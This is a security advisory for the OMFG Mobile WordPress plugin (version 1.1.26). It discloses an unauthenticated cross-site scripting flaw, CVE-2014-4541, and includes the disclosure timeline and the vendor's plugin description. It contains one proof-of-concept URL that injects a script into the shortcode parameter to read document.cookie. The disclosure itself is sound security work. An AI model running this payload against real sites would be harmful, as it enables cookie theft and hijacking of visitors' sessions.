wp-plugin : omfg-mobile

Plugin Details
Plugin Name: wp-plugin : omfg-mobile
Effected Version : 1.1.26 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

PoC:http://localhost/wordpress/wp-content/wp-plugs/omfgmobile/shortcode-generator/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E


Disclosure Timeline
Vendor Contacted : 2014-01-21
Plugin Status : Updated on
Public Disclosure : May 28, 2014
CVE Number : CVE-2014-4541
Plugin Description :
[| Are you running a mobile marketing campaign? Do you have a custom QR Code that needs a beautiful mobile landing page? With OMFG Mobile you can easily create, manage and deploy unlimited Mobile Landing Pages using WordPress. From a single WordPress install, you can create unlimited mobile landing pages, each using different themes*, settings and content, and deploy them straight from WordPress. *Themes and Add-ons available at <a href="http://omfgmobile.com" target="_blank">OMFGMobile.com</a> = HTML5 & CSS3 = OMFG Mobile makes it easy to create HTML5 and CSS3 based mobile landing pages, providing beautiful pages that function great on all the most popular mobile devices. = iOS and Android Support = iOS and Android devices are some of the most popular mobile devices in the world. OMFG Mobile provides you with mobile landing pages that look and work great on iOS and Android. = Shortcode Generator = OMFG Mobile provides several unique short codes to help make your mobile landing pages unique, and with our short code generator, it's easier than ever to visualize your short codes before you put them in your pages. Shortcodes bundled with OMFG Mobile include buttons, toggles, tabs, callout boxes and more! = Add-Ons = Looking for a different theme? Need a special feature like a responsive gallery or slideshow? OMFG Mobile provides themes and add-ons to make your mobile landing pages stand out. OMFG Mobile has a set of hooks that make it easy for plugin developers to create add-ons to enhance the Mobile Landing Pages in new and exciting ways. Send us a message on our Facebook page at <a href="http://facebook.com/visioniz" target="_blank">facebook.com/visioniz</a> if you are interested in developing themes or add-ons for OMFG Mobile. ]